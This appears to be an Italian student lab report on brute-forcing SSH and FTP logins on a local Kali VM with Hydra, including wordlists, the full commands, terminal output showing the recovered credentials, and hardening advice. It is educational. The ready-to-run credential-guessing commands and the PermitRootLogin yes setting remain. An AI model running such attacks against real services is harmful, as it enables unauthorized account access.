

Obiettivi dell'Esercizio

L'esercizio si proponeva di raggiungere due obiettivi principali:

1. **Fare pratica con Hydra** per eseguire attacchi di brute force sull'autenticazione di servizi di rete (SSH e FTP).
 2. **Configurare e consolidare la conoscenza di gestione dei servizi di rete**, implementando best practice per la loro sicurezza.
-

Fasi dello Svolgimento

1. Configurazione del Servizio SSH

- **Creazione di un utente per il test:**

Utilizzando il comando:

```
sudo adduser test_user
```

Sono stati impostati:

1. **Nome utente:** `test_user`
2. **Password:** `testpass`

- **Attivazione del servizio SSH:**

Il servizio SSH è stato avviato con:

```
sudo service ssh start
```

Modifica del file di configurazione SSH (opzionale):

Il file `/etc/ssh/sshd_config` è stato modificato per configurazioni avanzate. Le modifiche includono:

```
PermitRootLogin yes
```

- **MaxStartups 10:30:60**

Il servizio è stato riavviato per applicare le modifiche:

```
sudo service ssh restart
```

- **Verifica del servizio SSH:**

1. Recupero dell'indirizzo IP con:

```
ifconfig
```

2. Test della connessione SSH:

```
ssh test_user@192.168.50.100
```

2. Creazione delle Wordlist Personalizzate

Sono stati creati due file di wordlist per simulare un attacco mirato:

- **Password:**

```
echo -e
```

```
"password\n123456\nadmin123\ntestpass\nqwerty\nletmein\npassword1\nwelcome\n12345678\nchangeme\nroot123\ntoor\niloveyou\nsecurepass\npassword123" > passwords.txt
```

- **Nomi utente:**
`echo -e "test_user\nadmin\nroot\nuser1\nguest\noperator\nsupport\nmanager\ndeveloper\nservice\nbackup\ntester\naccount\nsuperuser\nsysadmin" > usernames.txt`

3. Attacco di Brute Force su SSH con Hydra

- **Comando eseguito:**
`hydra -L usernames.txt -P passwords.txt 192.168.50.100 -t 1 ssh`
 - **-L usernames.txt:** Specifica il file contenente i nomi utente.
 - **-P passwords.txt:** Specifica il file contenente le password.
 - **127.0.0.1:** Indica il server SSH (localhost).
 - **-t 1:** Limita a un thread alla volta per evitare errori di connessione.
- **Risultato:** Hydra ha identificato correttamente la combinazione:
 - **Nome utente:** test_user
 - **Password:** testpass

4. Configurazione del Servizio FTP

- **Installazione del server FTP:**
`sudo apt-get install vsftpd -y`
- **Avvio del servizio FTP:**
`sudo service vsftpd start`

Modifica del file di configurazione FTP: Il file `/etc/vsftpd.conf` è stato modificato per disabilitare l'accesso anonimo e abilitare gli utenti locali:
`anonymous_enable=NO`

- `local_enable=YES`
 Riavvio del servizio FTP:
`sudo service vsftpd restart`
- **Creazione di un utente per il test FTP:**
`sudo adduser ftp_user`
 - **Nome utente:** ftp_user
 - **Password:** ftp_pass

5. Attacco di Brute Force su FTP con Hydra

- **Creazione delle wordlist:**
 - **Nomi utente:**
`echo -e "ftp_user\nadmin\nroot\nguest\nuser1" > ftp_usernames.txt`
 - **Password:**
`echo -e "123456\npassword\nftp_pass\nadmin123\nwelcome" > ftp_passwords.txt`
- **Comando eseguito:**
`hydra -L ftp_usernames.txt -P ftp_passwords.txt 127.0.0.1 -t 1 ftp`
 - **-L ftp_usernames.txt:** Specifica il file contenente i nomi utente.

- `-P ftp_passwords.txt`: Specifica il file contenente le password.
 - `127.0.0.1`: Indica il server FTP (localhost).
 - `-t 1`: Limita a un thread alla volta.
 - **Risultato**: Hydra ha identificato correttamente la combinazione:
 - **Nome utente**: `ftp_user`
 - **Password**: `ftp_pass`
-

Conclusioni

L'esercizio ha permesso di:

1. **Comprendere il funzionamento e la configurazione di servizi di rete come SSH e FTP.**
 - Abbiamo imparato a gestire le configurazioni di base e avanzate.
2. **Sperimentare l'uso di Hydra per attacchi di brute force.**
 - Questo dimostra quanto sia importante scegliere credenziali robuste e configurare correttamente i servizi per ridurre il rischio di attacchi.
3. **Rafforzare le competenze di sicurezza informatica.**
 - Sono state evidenziate le best practice per proteggere i servizi di rete, come l'uso di password complesse e la limitazione degli accessi.

Raccomandazioni:

- Configurare meccanismi di protezione aggiuntivi come `fail2ban`.
- Utilizzare chiavi SSH al posto delle password per l'autenticazione.
- Monitorare regolarmente i log per identificare tentativi di accesso non autorizzati.

L'esercizio è stato completato con successo, raggiungendo tutti gli obiettivi prefissati.

```
File Actions Edit View Help
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Next authentication method: pass
test_user@localhost's password:
Authenticated to localhost ([::1]:22) us
debug1: channel 0: new session [client-s
debug1: Requesting no-more-sessions@open
debug1: Entering interactive session.
debug1: pledge: filesystem
debug1: client_input_global_request: rty
debug1: client_input_hostkeys: searching
debug1: client_input_hostkeys: searching
debug1: client_input_hostkeys: hostkeys
debug1: client_input_hostkeys: host key
debug1: Sending environment.
debug1: channel 0: setting env LANG = "e
debug1: pledge: fork
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_D

The programs included with the Kali GNU/
the exact distribution terms for each pr
individual files in /usr/share/doc/*/*cop

Kali GNU/Linux comes with ABSOLUTELY NO
permitted by applicable law.
Last login: Fri Dec 13 12:24:23 2024 fro
(test_user@kali)-[~]
└─$
```

```
test_user@kali ~
File Actions Edit View Help
└─$ echo -e "password\n123456\nadmin123\nntestpass\nqwerty\nletmein\npassword1\nnwelcme\n12345678\nnchange\nnroo
ecurepass\npassword123" > passwords.txt

(kali@kali)-[~]
└─$ hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t 1 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 13:38:20
[DATA] max 1 task per 1 server, overall 1 task, 225 login tries (l:15/p:15), ~225 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
[STATUS] 30.00 tries/min, 30 tries in 00:01h, 195 to do in 00:07h, 1 active
[STATUS] 21.67 tries/min, 65 tries in 00:03h, 160 to do in 00:08h, 1 active
[STATUS] 19.14 tries/min, 134 tries in 00:07h, 91 to do in 00:05h, 1 active
[STATUS] 18.88 tries/min, 151 tries in 00:08h, 74 to do in 00:04h, 1 active
[STATUS] 18.67 tries/min, 168 tries in 00:09h, 57 to do in 00:04h, 1 active
[STATUS] 18.40 tries/min, 184 tries in 00:10h, 41 to do in 00:03h, 1 active
[STATUS] 18.27 tries/min, 201 tries in 00:11h, 24 to do in 00:02h, 1 active
[STATUS] 18.50 tries/min, 222 tries in 00:12h, 3 to do in 00:01h, 1 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 13:50:29

(kali@kali)-[~]
└─$ hydra -L usernames.txt -P passwords.txt 127.0.0.1 -t 1 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 13:54:34
[DATA] max 1 task per 1 server, overall 1 task, 225 login tries (l:15/p:15), ~225 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 1 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 2 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "admin123" - 3 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 4 of 225 [child 0] (0/0)
```

```
Kali Linux 2024 VM! VirtualBox enabled in repository - Oracle VM VirtualBox
File Machines Visuals Insertion Devices Audio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000

Trash
File System
Home

test_user@kali ~
File Actions Edit View Help
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Will attempt key: /home/kali/.ss
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Trying private key: /home/kali/.
debug1: Next authentication method: pass
test_user@localhost's password:
Authenticated to localhost ([::1]:22) us
debug1: channel 0: new session [client-s
debug1: Requesting no-more-sessions@open
debug1: Entering interactive session.
debug1: pledge: filesystem
debug1: client_input_global_request: rty
debug1: client_input_hostkeys: searching
debug1: client_input_hostkeys: searching
debug1: client_input_hostkeys: hostkeys
debug1: client_input_hostkeys: host key
debug1: Sending environment.
debug1: channel 0: setting env LANG = "e
debug1: pledge: fork
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_D

The programs included with the Kali GNU/
the exact distribution terms for each pr
individual files in /usr/share/doc/*/*cop

Kali GNU/Linux comes with ABSOLUTELY NO
permitted by applicable law.
Last login: Fri Dec 13 12:24:23 2024 fro
(test_user@kali)-[~]
└─$
```

```
test_user@kali ~
File Actions Edit View Help
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 13:54:34
[DATA] max 1 task per 1 server, overall 1 task, 225 login tries (l:15/p:15), ~225 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 1 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 2 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "admin123" - 3 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 4 of 225 [child 0] (0/0)
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 16 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - 17 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin123" - 18 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "testpass" - 19 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "qwerty" - 20 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "letmein" - 21 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password1" - 22 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "welcome" - 23 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "12345678" - 24 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "change" - 25 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "root123" - 26 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "root" - 27 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "loveyou" - 28 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "securepass" - 29 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password123" - 30 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - 31 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - 32 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "admin123" - 33 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "testpass" - 34 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - 35 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "letmein" - 36 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password1" - 37 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "welcome" - 38 of 225 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "12345678" - 39 of 225 [child 0] (0/0)
```

```

(kali@kali)-[~]
$ sudo apt-get install vsftpd -y
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  fonts-liberation2 freerdp2-x11 hydra-gtk ibverbs-providers libassuan0 libboost-iostreams1.83.0
  libboost-thread1.83.0 libcephfs2 libfreerdp-client2-2t64 libfreerdp2-2t64 libgail-common libgail18t64
  libgeos3.12.2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libgspell-1-2 libgtk2.0-0t64 libgtk2.0-bin
  libgtk2.0-common libibverbs1 libimobiledevice6 libiniparser1 libjim0.82t64 libmfx1 libperl5.38t64 libplist3
  libpython3.11-dev librados2 librdmacm1t64 libusbmuxd6 libwinpr2-2t64 libzip4t64 openjdk-17-jre
  openjdk-17-jre-headless perl-modules-5.38 python3-hatch-vcs python3-hatchling python3-lib2to3
  python3-pathspect python3-pluggy python3-setuptools-scm python3-trove-classifiers python3.11 python3.11-dev
  python3.11-minimal samba-vfs-modules xcape
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 494 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (100 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 420034 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsf
tpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.4.0) ...

```

```

(kali@kali)-[~]
$ sudo service vsftpd start

(kali@kali)-[~]
$ sudo nano /etc/vsftpd.conf

(kali@kali)-[~]
$ sudo service vsftpd restart

(kali@kali)-[~]
$ sudo adduser ftp_user
info: Adding user `ftp_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ftp_user' (1002) ...
info: Adding new user `ftp_user' (1002) with group `ftp_user (1002)' ...
info: Creating home directory `/home/ftp_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for ftp_user
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
info: Adding new user `ftp_user' to supplemental / extra groups `users' ...
info: Adding user `ftp_user' to group `users' ...

```

```
(kali㉿kali)-[~]  
$ echo -e "ftp_user\nadmin\nroot\nguest\nuser1" > ftp_usernames.txt  
  
(kali㉿kali)-[~]  
$ echo -e "123456\npassword\nftp_pass\nadmin123\nwelcome" > ftp_passwords.txt  
  
(kali㉿kali)-[~]  
$ hydra -L ftp_usernames.txt -P ftp_passwords.txt 127.0.0.1 -t 1 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi-  
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 14:12:27  
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5/p:5), ~25 tries per task  
[DATA] attacking ftp://127.0.0.1:21/  
[21][ftp] host: 127.0.0.1 login: ftp_user password: ftp_pass  
[STATUS] 19.00 tries/min, 19 tries in 00:01h, 6 to do in 00:01h, 1 active  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 14:13:48
```